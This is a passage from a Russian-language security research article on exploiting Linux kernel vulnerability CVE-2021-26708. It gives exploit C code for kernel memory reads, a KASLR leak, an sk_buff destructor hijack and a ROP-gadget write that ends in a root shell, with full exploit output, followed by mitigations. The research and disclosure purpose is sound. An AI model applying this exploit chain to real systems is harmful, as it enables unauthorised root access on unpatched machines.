  1. Пе­реза­писать исправ­ное сооб­щение msg_msg кон­тро­лиру­емы­ми дан­ными. Для это­го:
  2. Сра­зу пос­ле сис­темно­го вызова msgsnd(), который вер­нул -1, экс­пло­ит вызыва­ет pthread_barrier_wait() и тем самым про­буж­дает 127 потоков для heap spraying, которые ждут на барь­ере.
  3. Эти потоки выпол­няют setxattr() с полез­ной наг­рузкой, под­готов­ленной в фун­кции adapt_xattr_vs_sysv_msg_spray(vsock_kaddr), которая была опи­сана выше.
  4. Те­перь осво­бож­денное исправ­ное сооб­щение msg_msg переза­писы­вает­ся кон­тро­лиру­емы­ми дан­ными так, что его поле msg_msg.next, ука­зыва­ющее на сег­мент сооб­щения System V, содер­жит адрес ядер­ного объ­екта vsock_sock (был взят из регис­тра RBX на шаге 2).
  1. Вы­читать содер­жимое ядер­ного объ­екта vsock_sock в поль­зователь­ское прос­транс­тво. Для это­го экс­пло­ит выпол­няет при­ем модифи­циро­ван­ного сооб­щения msg_msg из отдель­ной оче­реди, в которой оно было соз­дано:
  2. ret = msgrcv(msg_locations[0].msq_id,
  3. kmem, ARB_READ_SZ, 0,
  4. IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

Эта часть экс­пло­ита работа­ет очень надеж­но.

РАЗБИРАЕМ ДОБЫЧУ

Чте­ние про­изволь­ной ядер­ной памяти при­нес­ло экс­пло­иту хорошую добычу: содер­жимое ядер­ного объ­екта vsock_sock. Эти дан­ные ата­кующий может исполь­зовать для даль­нейше­го раз­вития ата­ки.

Вот что инте­рес­ного я нашел внут­ри vsock_sock:

  • Мно­жес­тво ука­зате­лей на объ­екты из отдель­ных кешей алло­като­ра (dedicated slab caches), нап­ример PINGv6 и sock_inode_cache. Я не смог при­думать, как исполь­зовать их для раз­вития ата­ки.
  • Ука­затель struct mem_cgroup *sk_memcg, который рас­полага­ется в струк­туре vsock_sock.sk по отсту­пу 664 бай­та. Объ­екты типа mem_cgroup соз­дают­ся ядром в общем кеше алло­като­ра kmalloc-4k. А это под­ходит!
  • Ука­затель const struct cred *owner, который рас­полага­ется в струк­туре vsock_sock по отсту­пу 840 байт. Он содер­жит адрес дес­крип­тора при­виле­гий (credentials) для про­цес­са моего экс­пло­ита. Экс­пло­ит дол­жен модифи­циро­вать этот дес­крип­тор, что­бы повысить свои при­виле­гии в сис­теме. В этом сос­тоит цель ата­ки.
  • Ука­затель на фун­кцию void (*sk_write_space)(struct sock *), который рас­полага­ется в струк­туре vsock_sock.sk по отсту­пу 688 байт. В нем содер­жится адрес ядер­ной фун­кции sock_def_write_space(). Этим мож­но вос­поль­зовать­ся для вычис­ления сек­ретно­го зна­чения KASLR, которое вли­яет на рас­положе­ние кода ядра в вир­туаль­ной памяти сис­темы.

Да­лее пред­став­лен код, выделя­ющий нуж­ные адре­са из дан­ных, которые экс­пло­ит вычитал из ядер­ной памяти:

#define MSG_MSG_SZ 48

#define DATALEN_MSG (PAGE_SIZE - MSG_MSG_SZ)

#define SK_MEMCG_OFFSET 664

#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)

#define OWNER_CRED_OFFSET 840

#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)

#define SK_WRITE_SPACE_OFFSET 688

#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)

/*

* From Linux kernel 5.10.11-200.fc33.x86_64:

* function pointer for calculating KASLR secret

*/

#define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu

unsigned long sk_memcg = 0;

unsigned long owner_cred = 0;

unsigned long sock_def_write_space = 0;

unsigned long kaslr_offset = 0;

/* ... */

sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];

printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",

sk_memcg, SK_MEMCG_RD_LOCATION);

owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];

printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",

owner_cred, OWNER_CRED_RD_LOCATION);

sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];

printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",

sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;

printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

Струк­тура cred выделя­ется ядром Linux в отдель­ном кеше алло­като­ра, который называ­ется cred_jar. Если бы я исполь­зовал мой при­митив осво­бож­дения про­изволь­ной памяти про­тив струк­туры cred, я бы не смог переза­писать ее кон­тро­лиру­емы­ми дан­ными (по край­ней мере, я не знаю, как это сде­лать). Жаль, это было бы иде­аль­ным завер­шени­ем ата­ки.

По­это­му я сфо­куси­ровал­ся на ата­ке объ­екта mem_cgroup. Я поп­робовал выз­вать для него осво­бож­дение памяти, но ядро Linux пос­ле это­го момен­таль­но ушло в отказ (kernel panic). К сожале­нию, ока­залось, что ядро очень интенсив­но исполь­зует этот объ­ект. Сно­ва неуда­ча. Но тут я вспом­нил про один из моих ста­рых про­верен­ных трю­ков для повыше­ния при­виле­гий в сис­теме.

СТАРЫЙ ТРЮК С ОБЪЕКТОМ SK_BUFF

В моем про­тоти­пе экс­пло­ита для уяз­вимос­ти CVE-2017-2636 в ядре Linux я прев­ратил двой­ное осво­бож­дение памяти из кеша алло­като­ра kmalloc-8192 в исполь­зование пос­ле осво­бож­дения для объ­екта sk_buff. Я решил пов­торить этот трюк сно­ва.

Се­тевой пакет в ядре Linux сущес­тву­ет в виде объ­екта sk_buff. В кон­це такого объ­екта раз­меща­ется струк­тура skb_shared_info, содер­жащая ука­затель destructor_arg, которым ата­кующий может вос­поль­зовать­ся для перех­вата потока управле­ния в ядре. Сетевые дан­ные и струк­тура skb_shared_info раз­мещены в еди­ной области ядер­ной памяти (на нее ука­зыва­ет sk_buff.head). При­чем соз­дание в поль­зователь­ском прос­транс­тве сетево­го пакета раз­мером 2800 байт при­водит к раз­мещению skb_shared_info в кеше алло­като­ра kmalloc-4k, где так­же живет наш объ­ект mem_cgroup, адрес которо­го уда­лось про­читать на пре­дыду­щем шаге ата­ки.

Я при­думал такую про­цеду­ру для перех­вата потока управле­ния через дес­трук­тор в sk_buff:

  1. Соз­дать один кли­ент­ский сокет и 32 сер­верных сокета с помощью socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP).
  2. Под­готовить в поль­зователь­ском прос­транс­тве сетевой буфер раз­мером 2800 байт и запол­нить его зна­чени­ем 0x42 с помощью memset().
  3. От­пра­вить этот буфер с кли­ент­ско­го сокета на каж­дый сер­верный сокет с помощью sendto(). Это при­водит к соз­данию соот­ветс­тву­ющих объ­ектов sk_buff в кеше алло­като­ра kmalloc-4k. При­чем такую опе­рацию нуж­но выпол­нить на каж­дом дос­тупном CPU, что воз­можно сде­лать с исполь­зовани­ем sched_setaffinity(). Это важ­ный момент, так как алло­катор име­ет отдель­ный кеш под каж­дый CPU.
  4. Вы­пол­нить про­цеду­ру чте­ния про­изволь­ной ядер­ной памяти для объ­екта vsock_sock (опи­сано выше). Извлечь адре­са struct mem_cgroup *sk_memcg, struct cred *owner и сек­рет KASLR.
  5. Вы­чис­лить воз­можный адрес одно­го из соз­данных объ­ектов sk_buff как адрес sk_memcg плюс 4096 (сле­дующий эле­мент в кеше алло­като­ра kmalloc-4k). Я пред­полагаю, что ядро рас­положит sk_memcg и один из моих sk_buff рядом друг с дру­гом.
  6. Вы­пол­нить про­цеду­ру чте­ния про­изволь­ной ядер­ной памяти по пред­полага­емо­му адре­су sk_buff.
  7. Ес­ли уда­лось про­читать 0x4242424242424242lu, зна­чит, был най­ден нас­тоящий sk_buff и мож­но перехо­дить к шагу 8. В про­тив­ном слу­чае сле­дует добавить к пред­полага­емо­му адре­су sk_buff еще 4096 и перей­ти к шагу 6.
  8. За­пус­тить 32 потока для выпол­нения setxattr() & userfaultfd() heap spraying для най­ден­ного объ­екта sk_buff и оста­новить их на pthread_barrier.
  9. Вы­пол­нить про­изволь­ное осво­бож­дение ядер­ной памяти по адре­су най­ден­ного sk_buff.
  10. Про­будить 32 ожи­дающих потока с помощью вызова pthread_barrier_wait(). Они выпол­нят сис­темный вызов setxattr(), переза­писы­вающий skb_shared_info кон­тро­лиру­емы­ми дан­ными.
  11. При­нять сетевые дан­ные на всех 32 сер­верных сокетах с помощью recv(). При при­еме пакета в одном из них про­изой­дет перех­ват потока управле­ния в ядре.

Ког­да ядро обра­баты­вает при­ем sk_buff с переза­писан­ной струк­турой skb_shared_info, оно вызыва­ет дес­трук­тор, на который ссы­лает­ся destructor_arg. Под­готов­ленный дес­трук­тор выпол­няет про­изволь­ную запись ядер­ной памяти (arbitrary write) и повыше­ние при­виле­гий экс­пло­ита в сис­теме. Как? Это я опи­сываю в сле­дующем раз­деле.

Здесь нуж­но отме­тить, что use-after-free на объ­екте sk_buff — это глав­ный источник нес­табиль­нос­ти в экс­пло­ите. Было бы здо­рово най­ти иной объ­ект ядра, соз­дающий­ся в kmalloc-4k, для которо­го мож­но более надеж­но экс­плу­ати­ровать ошиб­ку исполь­зования пос­ле осво­бож­дения.

ПРОИЗВОЛЬНАЯ ЗАПИСЬ ЯДЕРНОЙ ПАМЯТИ ЧЕРЕЗ SKB_SHARED_INFO

Взгля­нем на часть кода экс­пло­ита, в которой под­готав­лива­ются дан­ные для переза­писи объ­екта sk_buff:

#define SKB_SIZE 4096

#define SKB_SHINFO_OFFSET 3776

#define MY_UINFO_OFFSET 256

#define SKBTX_DEV_ZEROCOPY (1 << 3)

void prepare_xattr_vs_skb_spray(void)

{

struct skb_shared_info *info = NULL;

xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

/* Don’t touch the second part

* to avoid breaking page fault delivery

*/

memset(spray_data, 0x0, PAGE_SIZE * 4);

info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);

info->tx_flags = SKBTX_DEV_ZEROCOPY;

info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

Струк­тура skb_shared_info рас­полага­ется в дан­ных для heap spraying по отсту­пу SKB_SHINFO_OFFSET, который сос­тавля­ет 3776 байт. Ука­затель skb_shared_info.destructor_arg дол­жен хра­нить адрес струк­туры ubuf_info. Я соз­даю под­дель­ную струк­туру ubuf_info по отсту­пу MY_UINFO_OFFSET в самом сетевом пакете. Это воз­можно за счет того, что мне известен ядер­ный адрес ата­куемо­го объ­екта sk_buff. Содер­жимое переза­писан­ного sk_buff изоб­ражено на сле­дующей схе­ме.

А теперь рас­смот­рим, на что ука­зыва­ет destructor_arg:

/*

* A single ROP gadget for arbitrary write:

* mov rdx, qword ptr [rdi + 8]

* mov qword ptr [rdx + rcx*8], rsi

* ret

* Here rdi stores uinfo_p address, rcx is 0, rsi is 1

*/

uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;

/* value for "qword ptr [rdi + 8]" */

uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET;

/* rsi value 1 should not get into euid */

uinfo_p->desc = uinfo_p->desc - 1;

Как мож­но видеть, я при­думал очень стран­ный экс­пло­ит‑при­митив для про­изволь­ной записи ядер­ной памяти. Все дело в том, что в обра­зе ядра vmlinuz-5.10.11-200.fc33.x86_64 не наш­лось ROP-гад­жета, который мог бы перек­лючить ядер­ный стек на кон­тро­лиру­емую область памяти и при этом удов­летво­рял бы всем огра­ниче­ниям при перех­вате потока управле­ния через skb_shared_info. Поэто­му я нашел спо­соб выпол­нить про­изволь­ную запись с одно­го гад­жета «в один выс­трел».

В ука­затель на фун­кцию callback записан адрес ROP-гад­жета. В регис­тре RDI содер­жится пер­вый аргу­мент фун­кции callback, а имен­но адрес самой струк­туры ubuf_info. Зна­чит, RDI + 8 — это адрес поля ubuf_info.desc дан­ной струк­туры. Гад­жет копиру­ет зна­чение ubuf_info.desc в регистр RDX. В резуль­тате RDX содер­жит адрес, по которо­му в памяти ядра рас­положе­ны effective user ID и effective group ID, при­чем из это­го адре­са вычита­ется один байт. Этот байт очень важен: ког­да ROP-гад­жет записы­вает чис­ло 0x0000000000000001 из регис­тра RSI по адре­су из RDX, то еди­ница не дол­жна попасть в EUID и EGID, они дол­жны быть переза­писа­ны нулем для под­нятия при­виле­гий.

За­тем экс­пло­ит пов­торя­ет ту же про­цеду­ру для переза­писи UID и GID. При­виле­гии в сис­теме повыше­ны, экс­пло­ит теперь выпол­няет­ся от поль­зовате­ля root. Это победа.

Вы­вод экс­пло­ита, который демонс­три­рует всю про­цеду­ру экс­плу­ата­ции уяз­вимос­ти CVE-2021-26708:

[a13x@localhost ~]$ ./vsock_pwn

=================================================

==== CVE-2021-26708 PoC exploit by a13xp0p0v ====

=================================================

[+] begin as: uid=1000, euid=1000

[+] we have 2 CPUs for racing

[+] getting ready...

[+] remove old files for ftok()

[+] spray_data at 0x7f0d9111d000

[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000

[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations

[+] go racing, show wins:

save msg_msg ffff9125c25a4d00 in msq 11 in slot 0

save msg_msg ffff9125c25a4640 in msq 12 in slot 1

save msg_msg ffff9125c25a4780 in msq 22 in slot 2

save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg

kaddr for arb free: ffff9125c25a4d00

kaddr for arb read: ffff9125c2035300

[+] adapt the msg_msg spraying payload:

msg_ptr 0x7f0d91120fd8

m_type 1337 at 0x7f0d91120fe8

m_ts 6096 at 0x7f0d91120ff0

msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8

[+] go racing, show wins:

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)

[+] msgrcv returned 6096 bytes

[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)

[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)

[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)

[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...

[+] checking possible skb location: ffff9125c42fa000

[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg

kaddr for arb free: ffff9125c25a4640

kaddr for arb read: ffff9125c42fa030

[+] adapt the msg_msg spraying payload:

msg_ptr 0x7f0d91120fd8

m_type 1337 at 0x7f0d91120fe8

m_ts 6096 at 0x7f0d91120ff0

msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8

[+] go racing, show wins: 0 0 20 15 42 11

[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)

[+] msgrcv returned 6096 bytes

[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000

[+] skb payload:

start at 0x7f0d91120004

skb_shared_info at 0x7f0d91120ec4

tx_flags 0x8

destructor_arg 0xffff9125c42fa100

callback 0xffffffffab64f6d4

desc 0xffff9125c3fd6e53

[+] go racing, show wins: 15

[+] stage VI: repeat UAF on skb at ffff9125c42fa000

[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30

[+] finish as: uid=0, euid=0

[+] starting the root shell...

uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

ВОЗМОЖНЫЕ СРЕДСТВА ПРЕДОТВРАЩЕНИЯ АТАКИ

Су­щес­тву­ет ряд тех­нологий, которые мог­ли бы пре­дот­вра­тить экс­плу­ата­цию уяз­вимос­ти CVE-2021-26708 в ядре Linux или хотя бы сде­лать ее более труд­ной.

  1. Экс­плу­ата­ция дан­ной уяз­вимос­ти невоз­можна, если ядро Linux исполь­зует ка­ран­тин для сво­ей динами­чес­кой памяти, так как оши­боч­ная переза­пись осво­бож­денной памяти про­исхо­дит через очень корот­кое вре­мя пос­ле сос­тояния гон­ки. Исто­рию о моем про­тоти­пе SLAB_QUARANTINE мож­но про­честь в от­дель­ной статье.
  2. Тех­нология MODHARDEN из пат­ча grsecurity пре­дот­вра­щает авто­мати­чес­кую заг­рузку модулей ядра в резуль­тате дей­ствий неп­ривиле­гиро­ван­ных поль­зовате­лей.
  3. За­пись нуля в файл /proc/sys/vm/unprivileged_userfaultfd бло­киру­ет опи­сан­ный метод фик­сации дан­ных ата­кующе­го в прос­транс­тве ядра. Эта нас­трой­ка зап­реща­ет работу с userfaultfd() неп­ривиле­гиро­ван­ным поль­зовате­лям без SYS_CAP_PTRACE.
  4. За­пись 1 в sysctl kernel.dmesg_restrict бло­киру­ет утеч­ку информа­ции через ядер­ный жур­нал. Эта нас­трой­ка не дает неп­ривиле­гиро­ван­ным поль­зовате­лям читать его с помощью коман­ды dmesg.
  5. Кон­троль потока управле­ния (Control Flow Integrity, CFI) мог бы помешать мне выз­вать ROP-гад­жет. Тех­нологии такого клас­са, дос­тупные для ядра Linux, мож­но най­ти в моей кар­те средств защиты ядра (Linux Kernel Defence Map).
  6. С вер­сии 5.13 ядро Linux под­держи­вает аппа­рат­ную тех­нологию ARM Memory Tagging Extension (MTE), которая спо­соб­на обна­ружить исполь­зование памяти пос­ле осво­бож­дения.
  7. Сов­сем недав­но ком­пания grsecurity опуб­ликова­ла опи­сание тех­нологии AUTOSLAB. С ней ядро Linux выделя­ет память для сво­их объ­ектов в отдель­ных кешах алло­като­ра, соз­данных под каж­дый тип объ­екта. Это лома­ет тех­нику heap spraying, которую я исполь­зую в про­тоти­пе экс­пло­ита.
  8. Кейс Кук отме­тил, что запись 1 в sysctl panic_on_warn помеша­ла бы моей ата­ке. Дей­стви­тель­но, это прев­раща­ет воз­можное повыше­ние при­виле­гий в ошиб­ку отка­за в обслу­жива­нии. К сло­ву, я не рекомен­дую вклю­чать panic_on_warn или CONFIG_PANIC_ON_OOPS на сис­темах в про­мыш­ленной экс­плу­ата­ции, потому что это соз­дает высокий риск отка­за сис­темы. Пре­дуп­режде­ние ядра или oops — не такая ред­кая ситу­ация. Боль­ше под­робнос­тей мож­но най­ти в докумен­тации моего про­екта kconfig-hardened-check.

ЗАКЛЮЧЕНИЕ

Ис­сле­дова­ние и исправ­ление уяз­вимос­ти CVE-2021-26708 в ядре Linux, а так­же раз­работ­ка про­тоти­па экс­пло­ита для нее были инте­рес­ной и при этом тяжелой работой.

Я смог прев­ратить сос­тояние гон­ки с неболь­шой ошиб­кой дос­тупа к памяти в пол­ноцен­ное повыше­ние при­виле­гий на Fedora 33 Server для архи­тек­туры x86_64, обой­дя при этом аппа­рат­ные средс­тва защиты SMEP и SMAP. В ходе это­го иссле­дова­ния мне так­же уда­лось раз­работать нес­коль­ко новых тех­ник для экс­плу­ата­ции уяз­вимос­тей в ядре Linux.

Уве­рен, что пуб­ликация этой статьи полез­на для сооб­щес­тва раз­работ­чиков ядра Linux. Взгляд на сис­тему со сто­роны ата­кующе­го помога­ет улуч­шать средс­тва защиты. И спа­сибо ком­пании Positive Technologies за воз­можность сде­лать это иссле­дова­ние.